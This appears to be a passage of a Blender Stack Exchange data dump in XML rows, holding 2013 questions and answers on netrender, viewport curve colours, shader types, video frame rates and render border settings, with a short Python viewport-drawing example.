  <row Id="2002" PostTypeId="1" AcceptedAnswerId="2003" CreationDate="2013-07-26T20:02:04.260" Score="9" ViewCount="3402" Body="&lt;p&gt;Trying to speed-up render times on a large single-frame Cycles image by using netrender and a spare machine. The spare is running (in separate terminals) a master and a slave, and the main computer is running a client and another slave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;F12&lt;/kbd&gt; from the client works to render the image, however only the slave on the client machine is used. Killing that slave will then cause the slave on the spare to be used. It does not appear possible to have them work in concert. Is it correct to conclude that netrender only divvies frames to slaves, not tiles?&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="599" LastEditDate="2013-09-28T01:45:58.570" LastActivityDate="2015-08-16T07:30:06.077" Title="Is netrender only useful for multiple frames?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2003" PostTypeId="2" ParentId="2002" CreationDate="2013-07-26T20:16:48.110" Score="5" Body="&lt;p&gt;AFAIK, it does not (yet):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc%3A2.6/Manual/Render/Performance/Netrender#To_do&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Todo:&lt;/strong&gt;&lt;br&gt;&#xA;   Dispatch single frame as tiles &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;however, another fairly simple way to do this is to render relativity low samples on each machine with different &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Integrator#Scene_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;seeds&lt;/a&gt;&lt;/em&gt;, then combine the images afterwards.&#xA;(see this &lt;a href=&quot;https://blender.stackexchange.com/questions/582/how-can-i-pause-a-render-in-progress-and-then-resume-it-at-a-later-time/998#998&quot;&gt;post&lt;/a&gt; for more info)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-16T07:30:06.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2004" PostTypeId="1" AcceptedAnswerId="2009" CreationDate="2013-07-26T21:01:48.953" Score="11" ViewCount="6195" Body="&lt;p&gt;Is there a way to change the color of a curve object in 3D view? &#xA;(change the black lines only for this object to green).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got over 1000 curves generated by a python script and would like to change their color depending on length.&lt;/p&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="12" LastEditDate="2013-07-27T23:21:14.987" LastActivityDate="2021-04-06T10:46:53.280" Title="Color of spline in 3d view" Tags="&lt;customization&gt;&lt;bezier-curves&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2005" PostTypeId="2" ParentId="2004" CreationDate="2013-07-26T21:43:07.280" Score="4" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;This answer is now obsolete based on OP's comments below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to File &gt;User Preferences &gt;Themes and click on the 'Wire' swatch. You can change this to any color. If you want to change the color in Edit Mode then use the 'Wire Edit' swatch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Both of these also change the color of objects in Wireframe Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQTn3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="12" LastEditDate="2013-07-27T23:23:26.107" LastActivityDate="2013-07-27T23:23:26.107" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostTypeId="1" AcceptedAnswerId="2007" CreationDate="2013-07-26T22:09:13.543" Score="19" ViewCount="13517" Body="&lt;p&gt;I have been wondering this for a while. What is exactly the difference between a translucency shader and a transparency shader?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="599" LastEditDate="2013-10-08T23:10:10.903" LastActivityDate="2020-10-27T18:35:32.697" Title="What is the difference between Translucency and Transparency?" Tags="&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2007" PostTypeId="2" ParentId="2006" CreationDate="2013-07-26T23:16:51.843" Score="25" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Transparency_and_translucency&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparency&lt;/a&gt; allows light to pass through without refracting or scattering it, while &lt;a href=&quot;http://en.wikipedia.org/wiki/Transparency_and_translucency&quot; rel=&quot;nofollow noreferrer&quot;&gt;translucency&lt;/a&gt; scatters light to some degree.&lt;/p&gt;&#xA;&lt;p&gt;What the manual says about the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/transparent.html#transparent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Transparent shader&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Transparent BSDF without refraction, passing straight through the&#xA;surface, as if there was no geometry there. Useful with alpha maps for&#xA;example. This &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/render_settings/light_paths.html#light-paths&quot; rel=&quot;nofollow noreferrer&quot;&gt;shader affects light paths somewhat differently than&#xA;other BSDF's.&lt;/a&gt; Note that only pure white transparent shaders are&#xA;completely transparent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/translucent.html#translucent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Translucent shader&lt;/a&gt; is more like a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/refraction.html#refraction-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Refraction shader&lt;/a&gt; with a high &lt;em&gt;Roughness&lt;/em&gt; and an &lt;em&gt;IOR&lt;/em&gt; of 0 (no refraction) It is also a little bit like an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/sss.html#subsurface-scattering&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSS shader&lt;/a&gt; in that light is scattered when passing through. (The main difference between the two is that the translucent shader scatters light more uniformly)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NDXCa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To visualize this using the manual images:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/transparent.html#transparent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparent&lt;/a&gt; shader lets light straight through:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/File:Manual_cycles_nodes_bsdf_transparent.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zrRJC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/translucent.html#translucent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Translucent&lt;/a&gt; shader scatters light:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/File:Manual_cycles_nodes_bsdf_translucent.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zG9Xa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-27T18:35:32.697" LastActivityDate="2020-10-27T18:35:32.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2008" PostTypeId="2" ParentId="2001" CreationDate="2013-07-27T03:41:51.400" Score="5" Body="&lt;p&gt;Because its already snapped to the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain: OBJ is a mesh-only format, therefor there is no object center. Just geometry and the object center is always (0, 0, 0), so there is no snapping to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what I &lt;em&gt;think&lt;/em&gt; you're asking, you can have blender calculate a new origin (in the toolbox &lt;code&gt;Origin -&amp;gt; Origin to Geometry&lt;/code&gt;), then you can snap the objects to the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to split the mesh by loose parts before doing this though OBJ may be already split up, depending on the import options.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-27T09:43:00.180" LastActivityDate="2013-07-27T09:43:00.180" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostTypeId="2" ParentId="2004" CreationDate="2013-07-27T13:14:03.700" Score="6" Body="&lt;p&gt;My suggestion would be to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the bevel &lt;strong&gt;Depth&lt;/strong&gt; value of the curve on the curve properties to give thickness to the curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the &lt;strong&gt;Fill&lt;/strong&gt; type for the curve is set to &lt;strong&gt;Full&lt;/strong&gt; instead of &lt;strong&gt;half&lt;/strong&gt;. So that the curve is a cylinder instead of a half cylinder. (Increase bevel &lt;strong&gt;Resolution&lt;/strong&gt; for a smoother curve profile)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign separate materials with different colours to each curve. The curve now has a thickness so that materials can be displayed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should be able to incorporate the steps above into your script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the image below can be achieved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AatK1.png&quot; alt=&quot;Several coloured curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, a disadvantage may be that this only works for &lt;strong&gt;Object Mode&lt;/strong&gt; and not &lt;strong&gt;Edit Mode&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-14T16:45:07.273" LastActivityDate="2015-06-14T16:45:07.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2010" PostTypeId="1" AcceptedAnswerId="2018" CreationDate="2013-07-27T15:21:37.227" Score="18" ViewCount="12999" Body="&lt;p&gt;I have a few video strips with audio that I want to import to the Video Sequence Editor (VSE), but they are of different fps... examples are 23.97, 24, 29.97 and 30 fps. Let's say I want to select an fps of 30 in my project, is there a way to import the video clips and converting them to 30 fps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making every 4 frames into 5 frames, for example for 24 to 30 fps conversion. I am not sure what it's terminology in the video editing area.&lt;/p&gt;&#xA;" OwnerUserId="292" LastEditorUserId="292" LastEditDate="2013-07-28T03:25:15.910" LastActivityDate="2016-08-07T18:05:42.717" Title="Can I import multiple strips of different fps into Video Sequence Editor?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostTypeId="2" ParentId="2004" CreationDate="2013-07-27T21:20:36.603" Score="2" Body="&lt;p&gt;In addition to &lt;a href=&quot;https://blender.stackexchange.com/a/2009/12&quot;&gt;Ray Mairlot's answer&lt;/a&gt; of making materials with different colors, you can use the viewport drawing color settings: (Still requires materials, and still requires a bevel on the curve to be seen)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Blender Internal:&lt;/strong&gt;&lt;br&gt;&#xA;Create a material and enable Object Color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1Fa9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can change the color in &lt;em&gt;Object panel &gt; Display &gt; Object color&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pyvkl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cycles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Materiel and adjust the &lt;em&gt;Viewport color&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KemDc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An advantage to this is it works for Cycles and without changing the rendered view. (Object Color does effect the render in BI though)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-07-27T23:26:04.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostTypeId="2" ParentId="2004" CreationDate="2013-07-27T22:49:37.760" Score="4" Body="&lt;p&gt;If your curves are just for visualization, you could draw them using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bgl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bgl&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;import bpy&#xA;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;from bgl import glEnable, glDisable, glBegin, glEnd, glVertex2f, glColor4f, \&#xA;glLineWidth, GL_LINE_STRIP, GL_LINE_STIPPLE, GL_BLEND&#xA;&#xA;&#xA;class ExampleLines(bpy.types.Operator):&#xA;    bl_idname = &quot;view3d.bgl_example&quot;&#xA;    bl_label = &quot;Example drawing lines in 3D View&quot;&#xA;&#xA;    def invoke(self, context, event):&#xA;        area = context.area&#xA;        if context.area.type  == &quot;VIEW_3D&quot;:&#xA;            region = context.region&#xA;            self._handle = region.callback_add(self.draw_callback, (context,), &quot;POST_PIXEL&quot;)&#xA;            area.tag_redraw()&#xA;            return {&quot;FINISHED&quot;}&#xA;        return {&quot;CANCELLED&quot;}&#xA;&#xA;    def draw_callback(self, context):&#xA;        region = context.region&#xA;        region_data = context.region_data&#xA;        current_frame = context.scene.frame_current&#xA;&#xA;        glEnable(GL_BLEND)&#xA;        glLineWidth(2)&#xA;&#xA;        glColor4f(1, 0, 0, 0.5)&#xA;        glBegin(GL_LINE_STRIP)&#xA;        for i in range(current_frame):&#xA;            glVertex2f(*location_3d_to_region_2d(region, region_data, (math.sin(i / 10), 0, i / 10)).to_tuple())&#xA;        glEnd()&#xA;&#xA;        glColor4f(0, 1, 0, 0.5)&#xA;        glBegin(GL_LINE_STRIP)&#xA;        for i in range(current_frame):&#xA;            glVertex2f(*location_3d_to_region_2d(region, region_data, (0, -1 + math.cos(i / 10), i / 10)).to_tuple())&#xA;        glEnd()&#xA;&#xA;        glColor4f(0, 0, 1, 0.5)&#xA;        glBegin(GL_LINE_STRIP)&#xA;        for i in range(current_frame):&#xA;            glVertex2f(*location_3d_to_region_2d(region, region_data, (0, math.sqrt(i / 10), i / 10)).to_tuple())&#xA;        glEnd()&#xA;&#xA;        glDisable(GL_BLEND)&#xA;&#xA;        # restore opengl defaults&#xA;        glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;        glLineWidth(1)&#xA;        glDisable(GL_LINE_STIPPLE)&#xA;&#xA;&#xA;bpy.utils.register_class(ExampleLines)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZY2m.png&quot; alt=&quot;Output curves generated by script.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-07-27T23:24:53.393" LastActivityDate="2013-07-27T23:24:53.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostTypeId="2" ParentId="2010" CreationDate="2013-07-28T03:25:06.410" Score="14" Body="&lt;p&gt;There is actually an effect strip &quot;Speed Control&quot; which can sort of change the fps of a video strip. If converting from 24 to 30 fps, you can set the Multiply Speed to 0.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there isn't any interpolation at all, it's like every 5 frames there are two frames exactly the same, thus creating a not so smooth resulting video.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2013-07-28T03:25:06.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostTypeId="1" AcceptedAnswerId="2023" CreationDate="2013-07-28T03:52:15.630" Score="13" ViewCount="12206" Body="&lt;p&gt;Render Border,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oF6cu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is a great little function for reducing render time while experimenting, but what does the 'Render Border' check box in the Properties &gt;View panel do - apart from turning off the red border when un-checked? (there is no Manual reference to this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8yyjc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, after setting a Render Border, in the Tool Shelf &gt;Set Render Border panel, there is a 'Camera Only' check box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n71CB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried many different combinations of these with renders, and the result is… confusion! Can someone please clarify this for me?&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="241" LastEditDate="2020-03-13T19:33:12.363" LastActivityDate="2020-03-13T19:33:12.363" Title="Render Border's related check boxes - How do they work?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;render-border&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostTypeId="1" AcceptedAnswerId="2017" CreationDate="2013-07-28T05:11:00.377" Score="10" ViewCount="20426" Body="&lt;p&gt;I attempted to render my first short movie in Blender (2.68) today, just a 3D structure of a molecule rotating. I imported it using Atomic Blender converted it to a solid object and then rotated the camera around it. When I play the animation in 3D view, it looks fine, but when I render it as an .avi movie, all I see is the background, the molecule is invisible.  It seems that the molecule is just white on white, so I need to add textures to the molecule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make it look like it does in 3D view without having to add the textures to every atom manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded the file here: &lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=21234281675843448966&quot; rel=&quot;noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=21234281675843448966&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1012" LastEditorUserId="12" LastEditDate="2013-07-28T08:30:00.567" LastActivityDate="2015-05-11T16:59:56.760" Title="Why is my entire render white?" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostTypeId="2" ParentId="2014" CreationDate="2013-07-28T05:11:14.673" Score="1" Body="&lt;h1&gt;Properties shelf Render Border setting&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;With the introduction of the Rendered &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/Cycles#Viewport_Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Viewport Shading&lt;/a&gt;, &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/blender_render/camera/introduction.html#render-border&quot; rel=&quot;nofollow noreferrer&quot;&gt;render border&lt;/a&gt; can be used to limit the rendered region of the 3D View. The setting in the Properties shelf toggles this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BDdnU.png&quot; alt=&quot;3D View using Rendered Viewport Shading with render border&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ml34b.png&quot; alt=&quot;3D View using Rendered Viewport Shading without render border&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Camera Only check box&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This creates a render border only if in camera view. Enabling it in the Tool Self does not undo the initial boarder creation. It seems to exist only so the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; shortcut can function differently depending on the view.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="1245" LastEditDate="2018-01-28T19:32:33.413" LastActivityDate="2018-01-28T19:32:33.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostTypeId="2" ParentId="2015" CreationDate="2013-07-28T06:04:22.627" Score="10" Body="&lt;p&gt;Based on the file that you uploaded and your question &lt;em&gt;(which I have now edited accordingly)&lt;/em&gt;, you are actually asking about material settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model &lt;em&gt;does&lt;/em&gt; have materials. The problem was that the &lt;em&gt;World&lt;/em&gt; color, specifically the &lt;em&gt;Ambient&lt;/em&gt; color was set to full white and was overriding everything and making the entire scene look as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your render with your current settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQam9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same render with the &lt;em&gt;Ambient&lt;/em&gt; color set to full white and the others changed to show the contrast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4JSf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your render with &lt;em&gt;only&lt;/em&gt; the world settings changed &lt;em&gt;(to the default settings)&lt;/em&gt; and a hemi lamp instead of the point lamp that you had to make it a bit brighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ln0M4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-07-28T06:04:22.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostTypeId="2" ParentId="2010" CreationDate="2013-07-28T06:24:58.847" Score="5" Body="&lt;p&gt;Currently there's no support for &lt;a href=&quot;http://en.wikipedia.org/wiki/Motion_interpolation&quot; rel=&quot;nofollow noreferrer&quot;&gt;motion-compensated frame interpolation&lt;/a&gt;. So you will need to run your footage through an &lt;a href=&quot;https://superuser.com/questions/224095/looking-for-temporal-upsampling-motion-interpolation-software&quot;&gt;external application&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-03-20T10:04:43.147" LastActivityDate="2013-07-28T06:24:58.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostTypeId="2" ParentId="2010" CreationDate="2013-07-28T17:03:52.147" Score="1" Body="&lt;p&gt;Blender imports video sequences based on the current render settings. An easy way to tell the settings are wrong when importing video is the audio imports with a different length than the video. The audio time gets read in but the video rate is set by the render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting the render frame rate to 23.97 then importing the 23.97fps videos. then change the frame rate to 29.97 and import the 29.97fps videos and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When finished set the desired output frame rate and render the animation.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-28T17:03:52.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostTypeId="1" AcceptedAnswerId="2033" CreationDate="2013-07-28T17:16:24.987" Score="4" ViewCount="467" Body="&lt;p&gt;I have two different meshes with the same topology, and I'd like to animate one deforming to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I need to somehow compute and apply the deformation between the meshes, and set the second mesh as a shape key of the first. Is such an operation feasible?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-07-29T13:19:23.663" Title="Computing and animating mesh deformations" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2021" PostTypeId="2" ParentId="2014" CreationDate="2013-07-28T17:29:31.333" Score="2" Body="&lt;p&gt;The border render defines a rectangular area that confines the rendered result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two border settings available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The first border is applied to the camera view and final render. The border option in the render settings enables/disables the effect of this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The other border setting only applies to the viewport render whether you are viewing from left, right, top, user defined etc. This border does not affect the render result and is not visible when you switch to camera view in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an operator to 'Clear Render Border' with a &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; shortcut that doesn't appear to have a menu entry. This operator will clear (not just disable) either defined border depending on the current viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the Camera only option you see in the operator panel is intended to define the clipping border is to be applied as 1 above. I don't see that option making a difference currently.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-28T17:29:31.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2022" PostTypeId="1" AcceptedAnswerId="2025" CreationDate="2013-07-28T19:10:58.157" Score="9" ViewCount="2146" Body="&lt;p&gt;I currently use a &lt;em&gt;Track to Constraint&lt;/em&gt; to make the camera automatically point to an empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an animation the camera is moved along a bezier curve (&lt;em&gt;follow path&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I change the &lt;em&gt;curve&lt;/em&gt; and &lt;em&gt;track to constraint&lt;/em&gt; at a certain frame to focus on another aspects of the scene?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-11T11:04:18.457" Title="How can multiple Curves be used to control Camera movement?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;camera&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2023" PostTypeId="2" ParentId="2014" CreationDate="2013-07-28T19:49:45.837" Score="10" Body="&lt;p&gt;Expanding on sambler and Aldrik's answers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling the &lt;em&gt;Border&lt;/em&gt; setting in &lt;em&gt;Render settings &gt; Dimensions&lt;/em&gt; enables border for the rendered image and sets the camera bounds as the Camera Border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkzIJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, in the Viewport render with &lt;em&gt;Border&lt;/em&gt; enabled, only the part of the scene visible to the camera is rendered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OS6Tp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Border disabled, everything is rendered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1xXm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Viewport border:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; (or &lt;em&gt;View &gt; Render border&lt;/em&gt;) sets region in the 3D view that will be rendered when the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/properties/shading.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Viewport shading&lt;/a&gt; is set to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/Cycles#Viewport_Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Rendered&lt;/em&gt;&lt;/a&gt; (this can be toggled in &lt;em&gt;3D view &gt; Properties Panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) &lt;em&gt;&gt; Render Border&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0tUd2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Useful for making the part of the scene you want to see 